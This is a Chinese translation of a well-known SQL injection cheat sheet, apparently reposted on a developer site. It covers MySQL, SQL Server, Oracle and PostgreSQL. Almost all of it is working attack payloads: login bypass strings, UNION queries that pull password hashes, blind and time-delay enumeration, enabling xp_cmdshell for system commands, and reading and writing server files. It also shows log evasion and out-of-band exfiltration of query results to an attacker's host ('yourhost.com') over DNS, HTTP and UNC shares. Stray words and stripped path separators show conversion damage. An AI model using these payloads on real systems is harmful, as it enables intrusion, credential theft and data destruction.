SQL注入速查表是能夠爲你提供關於不一樣種類 SQL注入漏洞 的詳細信息的一個資源。這份速查表對於經驗豐富的滲透測試人員,或者剛開始接觸 Web應用安全 的初學者,都是一份很好的參考資料。php
這份 SQL 速查表最初是 2007 年時 Ferruh Mavituna 在他本身的博客上發佈的。咱們更新了它並將它移到了公司 CEO 的博客上。如今,這份速查表僅包含了 MySQL 、SQL Server,和有限的一些關於 Oracle 和 PostgerSQL 數據庫的信息。表中的部分示例可能沒法在每個場景都正常運行,由於真實使用的環境中,可能由於括號的使用、不一樣的代碼上下文以及出乎意料的、奇怪而複雜的 SQL 語句而有所差別。html
示例提供給你關於潛在攻擊的基本思路,並且幾乎每節都包含有簡短的說明。mysql
M:MySQLweb
S:SQL Server算法
P:PostgreSQLsql
O:Oracleshell
+:可能出如今其餘全部數據庫數據庫
例如:編程
(MS)表明:MySQL 和 SQL Server 等後端
(M*S)表明:僅部分版本及有特殊說明的 MySQL,以及 SQLServer
語法參考,攻擊樣例以及注入小技巧
(1)行間註釋
使用了行間註釋的 SQL 注入攻擊樣例
(2)行內註釋
經典的行內註釋注入攻擊樣例
MySQL 版本探測攻擊樣例
(3)堆疊查詢(Stacking Queries)
支持堆疊查詢的語言/數據庫
關於 MySQL 和 PHP
堆疊注入攻擊樣例
(4)If 語句
MySQL 的 If 語句
SQL Server 的 If 語句
If 語句的注入攻擊樣例
(5)使用整數(Integers)
(6)字符串操做
字符串的連結
(7)沒有引號的字符串
基於 16 進制的注入攻擊樣例
(8)字符串變體 & 相關知識
(9)Union 注入
UNION — 語言問題處理
(10)繞過登錄界面
(11)在SQL Server 2005 中啓用 xp_cmdshell
(12)探測 SQL Server 數據庫的結構
(13)從基於錯誤的 SQL 注入中快速提取數據的方法
(14)SQL 盲注
(15)掩蓋痕跡
(16)MySQL 的額外說明
(17)二階 SQL 注入
(18)帶外(OOB)頻道攻擊
註釋掉查詢語句的其他部分
行間註釋一般用於忽略掉查詢語句的其他部分,這樣你就不用處理由於注入致使的語法變更。
— (SM)
DROP sampletable;--
# (M)
DROP sampletable;#
行間註釋的 SQL 注入攻擊示例
用戶名:admin’–
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
這會讓你以admin用戶身份登陸,由於其他部分的SQL語句被註釋掉了。
行內註釋
經過不關閉的註釋,註釋掉查詢語句的其他部分,或者用於繞過黑名單過濾、移除空格、迷惑和探測數據庫版本。
/*這裏是註釋內容*/ (SM)
DROP/*註釋*/sampletable
DR/**/OP/*繞過過濾*/sampletable
SELECT/*消除空格*/password/**/FROM/**/Members
/*! MYSQL 專有 SQL */ (M)
這是 MySQL 的專有語法。很是適合用來探測 MySQL 版本。若是你在註釋中寫入代碼,只有 MySQL 纔會執行。你一樣可使用這個方法,讓代碼只在服務器版本高於指定版本才執行。
SELECT /*!32302 1/0, */ 1 FROM tablename
經典的行內註釋 SQL 注入攻擊示例
ID: 10; DROP TABLE members /*
在查詢結尾簡單地去除其餘內容。等同於 10; DROP TABLE members —
SELECT /*!32302 1/0, */ 1 FROM tablename
若是 MySQL 版本高於 23.02 會拋出一個除數爲 0(division by 0)的錯誤
MySQL 版本探測攻擊示例
ID: /*!32302 10*/
ID: 10
若是 MySQL 的版本高於 23.02,執行上面兩個查詢你將獲得相同的結果
SELECT /*!32302 1/0, */ 1 FROM tablename
若是 MySQL 版本高於 23.02 會拋出一個除數爲 0(division by 0)的錯誤
堆疊查詢
在一個事務中執行多個查詢。這在每個注入點都很是有用,尤爲是後端使用了 SQL Server 的應用程序。
; (S)
SELECT * FROM members; DROP members--
結束一個查詢並開始一個新的查詢。
語言 / 數據庫堆疊查詢支持表
綠色:支持;深灰色:不支持;淺灰色:未知
闡明一些問題
PHP – MySQL 不支持堆疊查詢,Java 不支持堆疊查詢(Oracle 我很肯定,其餘的就不太肯定了)。一般來講 MySQL 支持堆疊查詢,但在 PHP – MySQL 應用程序中大多數配置下的數據庫層都不能執行第二條查詢,也許 MySQL 客戶端支持這個,我並非很肯定。有人能說明下嗎?
ID: 10;DROP members —
SELECT * FROM products WHERE id = 10; DROP members--
這在正常SQL查詢執行後將會執行 DROP members 語句。
If語句
根據If語句獲得響應。這是盲注(Blind SQL Injection)的關鍵點之一,在盲注和精確的簡單測試中都很是有用。
MySQL 的 If 語句
IF(condition,true-part,false-part)(M)
SELECT IF(1=1,'true','false')
SQL Server 的 If 語句
IF condition true-part ELSE false-part(S)
IF (1=1) SELECT 'true' ELSE SELECT 'false'
Oracle 的 If 語句
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;(O)
IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;
PostgreSQL 的 If 語句
SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)
SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
If 語句的 SQL 注入攻擊示例
if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)
若是當前登陸的用戶不是 」sa」 或 「dbo」,語句會拋出 除數爲0 的錯誤。
整數的使用
對於繞過很是有用,如 magic_quotes() 和相似的過濾器,甚至是各類WAF。
0xHEXNUMBER(SM)
你能夠這樣使用 16 進制數。
SELECT CHAR(0x66)(S)
SELECT 0x5045 (這不是一個整數,而會是一個 16 進制字符串)(M)
SELECT 0x50 + 0x45 (如今這個是整數了!)(M)
字符串操做
字符串相關的操做。這些對於構造不含引號、繞過黑名單或探測後端數據庫的注入很是有用。
字符串的連結
+ (S)
SELECT login + '-' + password FROM members
|| (*MO)
SELECT login || '-' || password FROM members
* 關於 MySQL 的 「||」
僅當 MySQL 在 ANSI 模式下這(指 「||」 符號)纔會執行,其餘模式下 MySQL 會當成 邏輯運算符 並返回 0。更好的方式是使用 MySQL 的 CONCAT() 函數。
CONCAT(str1, str2, str3, …) (M)
鏈接參數裏提供的字符串。
SELECT CONCAT(login, password) FROM members
沒有引號的字符串
有一些直接的方式可使用字符串,但一般更合適的是使用 CHAR() (MS) 和 CONCAT() (M) 來生成無引號的字符串。
0x457578 (M) - 字符串的 16 進製表示
SELECT 0x457578
這在 MySQL 中會被當作字符串處理。在 MySQL 中更簡單地生成 16 進制字符串的方式是使用下面這個方法:
SELECT CONCAT('0x',HEX('c:boot.ini'))
在 MySQL 中使用 CONCAT() 函數
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
這會返回‘KLM’。
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
這會返回‘KLM’。
SELECT CHR(75)||CHR(76)||CHR(77) (O)
這會返回‘KLM’。
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
這會返回‘KLM’。
基於 16 進制的 SQL 注入示例
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
這會顯示 c:boot.ini 的內容
ASCII() (SMP)
返回最左邊字符的ASCII碼的值。這是盲注的一個必備函數。SELECT ASCII(‘a’)
CHAR() (SM)
將一個整數轉換爲對應的ASCII值。SELECT CHAR(64)
經過union你能跨表執行 SQL 查詢。 基本上你能夠污染(注入)查詢使它返回另外一個表的記錄。
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
這個查詢會聯結並返回 news 表和 members 表的全部記錄。
另外一個例子:
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
UNION – 語言問題處理
當你使用 Union 注入的時候,有時會遇到錯誤,由於不一樣語言的設置(表的設置、字段的設置、表或數據庫的聯結設置等等),下面這些函數對於解決以上問題頗有用。這樣的問題比較少見,但當你處理例如日文、俄文、土耳其文或其餘相似的應用程序時,你就會發現了。
SQL Server (S)
使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS 或其餘有效的方式 – 具體信息能夠查看 SQL Server 的文檔。
SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members
MySQL (M)
Hex() 基本上能夠解決全部出現的問題。
繞過登陸界面(SMO+)
SQL 注入入門指引,登陸小技巧
admin’ —
admin’ #
admin’/*
‘ or 1=1–
‘ or 1=1#
‘ or 1=1/*
‘) or ‘1’=’1–
‘) or (‘1’=’1–
….
以不一樣的用戶登陸 (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–
* 舊版本的 MySQL 不支持 union 查詢
繞過檢查 MD5 哈希的登陸界面
若是應用是先經過用戶名獲取記錄,而後再把返回的 MD5 值與你輸入的密碼的 MD5 進行比較,那麼你就須要一些額外的技巧欺騙應用來繞過驗證了。你能夠將一個已知明文的 MD5 哈希和它的明文一塊兒提交,這種狀況下,應用會比較你的密碼和你提供的 MD5 值,而不是從數據庫獲取的 MD5。
繞過 MD5 檢查的例子 (MSP)
Username : admin
Password : 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
使用 HAVING 探測列名 – 基於錯誤(S)
順序不分前後
‘ HAVING 1=1 —
‘ GROUP BY columnfromerror1 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2 HAVING 1=1 —
‘ GROUP BY columnfromerror1, columnfromerror2,
columnfromerror(n) HAVING 1=1 — and so on
直到再也不報錯就完成了。
在 SELECT 查詢中使用 ORDER BY 探測有多少個列(MSO+)
經過 ORDER BY 探測列數能夠加快 UNION 注入的進度。
ORDER BY 1–
ORDER BY 2–
ORDER BY N– so on
持續操做直到出現錯誤,報錯時使用的數字就是列數了。
提示:
在使用 UNION 時老是搭配上 ALL,由於會存在相同值的字段,而缺省狀況下,Union 都會嘗試返回非重複的記錄。
在查詢的開始處,可使用 -1 或者其餘不存在的值來去除左側表中非必須的記錄(前提是注入點在 WHERE 語句裏)。若是你一次只想取得一條記錄,這是很是關鍵的點。
在對大多數數據類型的 UNION 注入中使用 NULL 代替猜想它是字符串、日期、整數等類型。
盲注的狀況下,要注意判斷錯誤時來自數據庫仍是來自應用程序自己。由於像 ASP.NET 或有其餘語言,一般在使用 NULL 值的時候會拋出錯誤(由於開發者們通常沒有想過用戶名字段會出現 NULL)
‘ union select sum(columntofind) from users— (S)
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.若是沒有返回錯誤說明字段是數字類型(numeric).
你也可使用 CAST() 或者 CONVERT()
SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–
11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
沒有錯誤 – 語法是對的。這是 MS SQL Server 的語法。繼續。
11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
沒有錯誤 – 第一列是 integer 類型。
11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 —
錯誤! – 第二列不是 integer 類型。
11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
沒有錯誤 – 第二列是 string 類型。
11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
報錯! – 第三列不是 integer 類型。
…Microsoft OLE DB Provider for SQL Server error ‘80040e07
’
Explicit conversion from data type int to image is not allowed.
你在遇到 union 錯誤以前會遇到 convert() 錯誤! 因此從 convert() 開始,再用 union。
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
有用的函數 / 信息收集 / 存儲過程 / Bulk SQL 注入說明
@@version(MS)
數據庫的版本和關於 SQL Server 的詳細信息。這是個常量,你能把它當作一個列來 select,並且不須要提供表名。一樣,你也能在 insert、update 語句或者函數裏使用它。
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
Bulk insert(S)
(補充說明:bulk insert 是 SQL Server 的一個命令)
插入一個文件的內容到表中。若是你不知道應用的內部路徑,能夠讀取 IIS(僅限 IIS 6)的元數據庫文件(metabase file,%systemroot%system32inetsrvMetaBase.xml)而後找出應用的路徑。
Create table foo( line varchar(8000) )
bulk insert foo from ‘c:inetpubwwwrootlogin.asp’
Drop 臨時表,並重復另外一個文件。
BCP(S)
(補充說明:BCP 是 SQL Server 的一個工具)
寫文本文件。使用這個功能須要登陸。
bcp 「SELECT * FROM test..foo」 queryout c:inetpubwwwrootruncommand.asp -c -Slocalhost -Usa -Pfoobar
SQL Server 中的 VBS 和 WSH(S)
開啓 ActiveX 支持的狀況下,你能夠在 SQL Server 中使用 VBS 和 WSH 腳本編程。
declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’
Username: ‘; declare @o int exec sp_oacreate ‘wscript.shell’, @o out exec sp_oamethod @o, ‘run’, NULL, ‘notepad.exe’ —
執行系統命令、xp_cmdshell(S)
衆所周知,在 SQL Server 2005 中默認是禁用的。你須要 Admin 權限。.
EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’
用 ping 簡單檢查下 (在開始以前先配置好你的防火牆或嗅探器確認請求能發出)
EXEC master.dbo.xp_cmdshell ‘ping ‘
你沒法從錯誤或 union 或其餘的什麼直接讀取結果。
SQL Server 中的一些特殊表(S)
Error Messages
.sysmessages
Linked Servers
.sysservers
Password (2000 和 2005 版本都能被入侵,它們使用很是類似的哈希算法)
SQL Server 2000:.sysxlogins
SQL Server 2005 : sys.sql_logins
SQL Server 的其餘存儲過程(S)
命令執行(xp_cmdshell)
exec master..xp_cmdshell ‘dir’
註冊表相關(xp_regread)
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServiceslanmanserverparameters’, ‘nullsessionshares’
exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities’
管理服務(xp_servicecontrol)
媒體(xp_availablemedia)
ODBC 資源(xp_enumdsn)
登陸模式(xp_loginconfig)
建立 Cab 文件(xp_makecab)
域名列舉(xp_ntsec_enumdomains)
結束進程(須要進程 ID)(xp_terminate_process)
建立新程序(實際上你想執行什麼均可以了)
sp_addextendedproc ‘xp_webserver’, ‘c:tempx.dll’
exec xp_webserver
將文本文件寫進 UNC 或內部路徑(sp_makewebtask)
MSSQL Bulk 說明
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell ‘dir *.exe’;IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)INSERT tbl EXEC master..xp_cmdshell OSQL /Q」DBCC SHOWCONTIG」
OPENROWSET (Transact-SQL) – http://msdn2.microsoft.com/en-us/library/ms190312.aspx
你不能在 SQL Server 的 Insert 語句裏使用子查詢。
使用 LIMIT(M)或 ORDER(MSO)的注入
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
若是注入點在 limit 的第二個參數處,你能夠把它註釋掉或者使用 union 注入。
中止 SQL Server(S)
當你真的不開心了,可使用 ‘;shutdown —
在 SQL Server 中啓用 xp_cmdshell
默認狀況下,在 SQL Server 2005 中 xp_cmdshell 和其餘一些存在潛在危險的存儲過程都是被禁用的。若是你有 admin 權限就能夠啓用它們了。
EXEC sp_configure ‘show advanced options’,1
RECONFIGURE
EXEC sp_configure ‘xp_cmdshell’,1
RECONFIGURE
探測 SQL Server 數據庫的結構(S)
獲取用戶定義表
SELECT name FROM sysobjects WHERE xtype = 'U'
獲取字段名
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
移動記錄(S)
修改 WHERE 和使用 NOT IN 或 NOT EXIST
… WHERE users NOT IN (‘First User’, ‘Second User’)
SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) -- very good one
使用惡劣的小技巧
SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as intSelect p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21
從基於錯誤的 SQL 注入中快速提取數據的方法(S)
';BEGIN DECLARE @rt varchar(8000) SET @rd=':'
SELECT @rd=@rd+' '+name FROM syscolumns
WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS')
AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
詳細說明能夠查看文章:從基於錯誤的 SQL 注入中快速提取數據的方法
探測 MySQL 數據庫的結構(M)
獲取用戶定義表
SELECT table_name FROM information_schema.tables WHERE table_schema = 'tablename'
獲取列名
SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = 'tablename'
探測 Oracle 數據庫的結構(O)
獲取用戶定義表
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
獲取列名
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
SQL 盲注
關於 SQL 盲注
在一個良好的生產環境應用程序中,一般你沒法在頁面上看到錯誤(error)提示,因此你也就沒法經過 Union 攻擊或者基於錯誤的攻擊中提取數據。你不得不使用盲注攻擊來取得數據。SQL 盲注存在有兩種類型:
通常盲注:你沒法在頁面中看到響應,但你仍然能夠經過響應或 HTTP 狀態碼肯定查詢的結果;
徹底盲注:不管你怎麼注入也沒法從輸出看出任何變化。這樣你只能經過日誌記錄或相似的來注入。雖然這並不常見。
在通常盲注狀況中你可使用 if 語句或者 WHERE 查詢來注入(通常來講很容易),在徹底盲注你須要使用一些延時函數並分析響應時間。所以你能夠在注入 SQL Server 時使用 WAIT FOR DELAY ‘0:0:10’,注入 MySQL 時使用 BENCHMARK() 和 sleep(10),注入 PostgreSQL 時使用 pg_sleep(10),還有對 ORACLE 的一些 PL/SQL 小技巧。
真實且有點複雜的 SQL 盲注攻擊示例
這些輸出來自於一個真實的私有 SQL 盲注工具對使用 SQL Server 的後端程序的攻擊和表名遍歷。這些請求完成了探測第一個表名的首字符。由於是自動化攻擊,SQL 查詢比實際需求複雜一些。過程當中咱們經過二分查找算法嘗試肯定字符的 ASCII 值。
TRUE 和 FALSE 標記表明查詢返回的是 true 或 false。
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--
TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 ANDISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND nameNOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
當最後兩個查詢失敗咱們能夠毫無疑問地肯定表名第一個字符的 ASCII 值是 80,這意味着第一個字符是 P。這就是使用二分查找算法進行 SQL 盲注的方法。另外一個常見的方法是一位一位(bit)地讀取數據。這兩個方法在不一樣狀況下都有效。
延時盲注
首先,在徹底沒有提示(really blind)的狀況下才使用,不然使用 1/0 方式的錯誤辨認差別。其次,使用超過 20 秒的延時須要當心,由於數據庫的 API 鏈接或腳本可能出現超時。
WAIT FOR DELAY ‘time’(S)
這個與sleep同樣,等待指定的時間。經過 CPU 安全的方法讓數據庫等待。
WAITFOR DELAY '0:0:10'--
另外,你也可使用分數,像這樣
WAITFOR DELAY '0:0:0.51'
真實案例
是否‘sa’用戶?
if (select user) = ‘sa’ waitfor delay ‘0:0:10’
ProductID = 1;waitfor delay ‘0:0:10’–
ProductID =1);waitfor delay ‘0:0:10’–
ProductID =1′;waitfor delay ‘0:0:10’–
ProductID =1′);waitfor delay ‘0:0:10’–
ProductID =1));waitfor delay ‘0:0:10’–
ProductID =1′));waitfor delay ‘0:0:10’–
BENCHMARK()(M)
基本上,不少人濫用這個命令來作 MySQL 的延時。當心使用,這會很快地消耗服務器的資源!
BENCHMARK(howmanytimes, do this)
真實案例
判斷是否 root 用戶
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))
判斷表是否存在
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
pg_sleep(seconds)(P)
睡眠指定的秒數。
SELECT pg_sleep(10);
睡眠 10 秒。
sleep(seconds)(M)
睡眠指定的秒數。
SELECT sleep(10);
睡眠10秒。
dbms_pipe.receive_message(O)
睡眠指定的秒數。
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100)
THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROMdual)
{INJECTION} = 你想實際運行的查詢。
若是條件爲真(true),會在10秒後才響應。若是是假(false),延遲1秒就返回。
SQL Server -sp_password 日誌繞過(S)
出於安全緣由,SQL Server 不會將包含 sp_password 的查詢記錄到日誌中。. 因此若是你在查詢中加入 –sp_password 選項,你執行的查詢就不會出如今數據庫日誌中(固然,在 Web 服務器的日誌裏仍是會有,因此可能的話儘可能使用 POST 方法)
這些測試徹底適用於 SQL 盲注和靜默攻擊。
asp?id=4(SMO)
asp?id=5-1
asp?id=4 OR 1=1
asp?name=Book
asp?name=Bo’%2b’ok
asp?name=Bo’ || ’ok(OM)
asp?name=Book’ OR ‘x’=’x
子查詢只在 MySQL 4.1 或以上版本才生效
用戶
SELECT User,Password FROM mysql.user;
SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)=’2′,BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;
SELECT … INTO DUMPFILE
把查詢寫入一個新文件(不能修改已有的文件)
UDF 函數
create function LockWorkStation returns integer soname ‘user32’;
select LockWorkStation();
create function ExitProcess returns integer soname ‘kernel32’;
select exitprocess();
SELECT USER();
SELECT password,USER() FROM mysql.user;
admin密碼哈希值的第一位
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;
讀取文件
php?user=1+union+select+load_file(0x63…),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
MySQL Load Data infile
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1(‘test’)), ‘false’ );
create table foo( line blob );
load data infile ‘c:/boot.ini’ into table foo;
select * from foo;
這個功能默認是沒有開啓的!
MySQL 的更多延時方法
select benchmark( 500000, sha1( ‘test’ ) );
php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
select if( user() like ‘root@%’, benchmark(100000,sha1(‘test’)), ‘false’ );
遍歷數據,暴力猜解
潛在有用的 MySQL 函數
MD5()
MD5 哈希
SHA1()
SHA1 哈希
PASSWORD()
ENCODE()
COMPRESS()
壓縮數據,在 SQL 盲注讀取大量二進制數據時頗有用。
ROW_COUNT()
SCHEMA()
VERSION()
等同於 @@version
通常你在某個地方進行 SQL 注入並指望它沒有被過濾掉。這是常見的隱藏層問題。
Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com
若是應用程序在一個不安全的存儲過程(或函數、流程等)中使用了 name 字段,那麼它會將第一個用戶的密碼寫入到你的 name 字段。
經過強迫 SQL Server 來獲得 NTLM 哈希
這個攻擊能幫你獲得目標服務器上 SQL Server 用戶的 Windows 密碼,不過你的接入鏈接可能會被防火牆攔截。這在內部滲透測試中很是有用。咱們強迫 SQL Server 鏈接咱們的 Windows UNC 共享(Windows 上常見的網絡共享)並經過相似 Cain & Abel(網絡嗅探和口令破解工具)的工具捕獲 NTLM 會話數據。
從一個 UNC 共享進行 Bulk insert(S)
bulk insert foo from 'YOURIPADDRESSC$x.txt'
查看 Bulk Insert Reference 可讓你瞭解怎麼使用 bulk insert。
帶外攻擊
SQL Server
{INJECTION} = 你想要執行的查詢。
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB',({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
將 DNS 解析請求轉到 {INJECT}.yourhost.com
?vulnerableParam=1; DECLARE <a href="http://www.jobbole.com/members/caogen">@q</a>varchar(1024); SET <a href="http://www.jobbole.com/members/caogen">@q</a> = ''+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree <ahref="http://www.jobbole.com/members/caogen">@q</a>
將 DNS 解析請求轉到 {INJECTION}.yourhost.com
MySQL
{INJECTION} = 你想要執行的查詢。
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('',({INJECTION}), 'yourhost.com')))
將 NBNS 查詢請求或 DNS 解析請求轉到 com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
將數據寫到你的共享文件夾或文件
Oracle
{INJECTION} = 你想要執行的查詢。
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'')FROM DUAL)
嗅探程序將會保存結果
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
結果將會被保存到 HTTP 訪問日誌
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROMDUAL)
你須要監測去到com 的 DNS 解析請求
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROMDUAL)
你須要監測去到com 的 DNS 解析請求